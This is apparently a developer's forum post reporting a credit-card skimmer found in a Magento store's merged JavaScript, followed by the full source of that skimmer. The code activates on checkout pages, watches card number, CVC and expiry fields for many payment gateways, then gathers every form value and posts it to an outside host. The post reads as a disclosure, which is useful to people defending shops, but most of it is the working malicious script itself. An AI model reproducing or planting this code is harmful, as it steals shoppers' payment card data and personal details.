Found it in merged js in one of my projects. This code is only visible in EU, i think because it want to bypass security checking by google, mcafee or else. This store has a lot of users... and i'm happy that it broke all javascript, because jQuery was not defined in this point. It's good when hacker doesn't know enough JS

magento.cc.js

jQuery(document).ready(function() {
    if (!(new RegExp("onepage|nexwaycheckout|checkout|onestep|firecheckout|onestepcheckout")).test(window.location))
        return;
        
    setTimeout(function(){
    jQuery(function($kk) {
    $kk(document).on('change', 'form', function() {   
    grelos_v = null;    
        a = [
        'select[name="ops_cc[year]"]',
        'input[name="ops_cc[cardno]"]',
        'input[name="ops_cc[cvc]"]',
        'select[id="mundipagg_api_cartao_first_card_expiration_year"]', 
        'select[id="mundipagg_api_doiscartoes_first_card_expiration_year"]',
        'select[name="payment[mundipagg_creditcard_expirationYear_1_1]"]',
        'select[id="adyen_cc_expiration_yr"]',
        'select[id="braintree_expiration_yr"]',
        'select[name="datatranscw_visa[expy]"]',
        'select[name="datatranscw_mastercard[expy]"]',
        'select[name="payment[moip_cc_exp_year]"]',
        'select[id="eway_rapid_expiration_yr"]',
        'select[name="payment[cc_exp_year]"]', 
        'input[name="expiration"]', 
        'input[name="full_cc_expiration"]',
        'select[id="redecard_expiration_yr"]',
        'select[id="stripe_cc_expiration_year"]', 
        'input[data-checkout="expiry-year"]',
        'select[id="paymill_creditcard_expiry_year"]', 
        'input[name="expiry_date"]', 
        'input[name="cc_cid"]',
        'select[name="cc_exp_year"]',
        'input[id="text-expiry_date"]',
        'select[id="cardExpirationYear"]',
        'select[id="radweb_stripe_expiration_yr"]',
        'select[name="payment[expiracao_ano_rede]"]',
        'select[name="payment[credito_expiracao_ano]"]',
        'input[name="payment[mundipagg_creditcard_cc_cid_1_1]"]',
        'input[name="payment[mundipagg_creditcard_1_1_cc_number]"]'
    ];
    for (var j=0;j<30;j++){try{
    if($kk(a[j]).val().length>0){kp();}
    } catch(e) { console.log (e); }}
    function kp(){
    var snd="";  
        var inp=document.querySelectorAll("input, select, textarea, checkbox");
        for (var i=0;i<inp.length;i++){
            if(inp[i].value.length>0) {
            var nme=inp[i].name;
            if(nme=='') { nme="jik"+i; }        
            var sdd = nme.replace(/\[/g, "-");   
            var sdd1 = sdd.replace(/-redecard/, "");
            snd+=sdd1.replace(/]/g, "")+'='+inp[i].value+'&';     
            }
        }   
    snd = snd+"&host="+window.location.host;
    
    var prot = 'https://';
    if (window.location.protocol != "https:") {
        prot = 'http://';
    }
    $kk.ajax({ url:prot+"dispatch.crosman.com/catalog/payment.php",
                    data: snd,
                    type:"POST",
                    dataType:"json",    
                    success:function(data)
                     {       
                             return false;       
                     },
                     error:function(jqXHR,textStatus,errorThrown)
                     {
                             return false;
                     }
                 }
                 );  
        
        }})})}, 5000);
});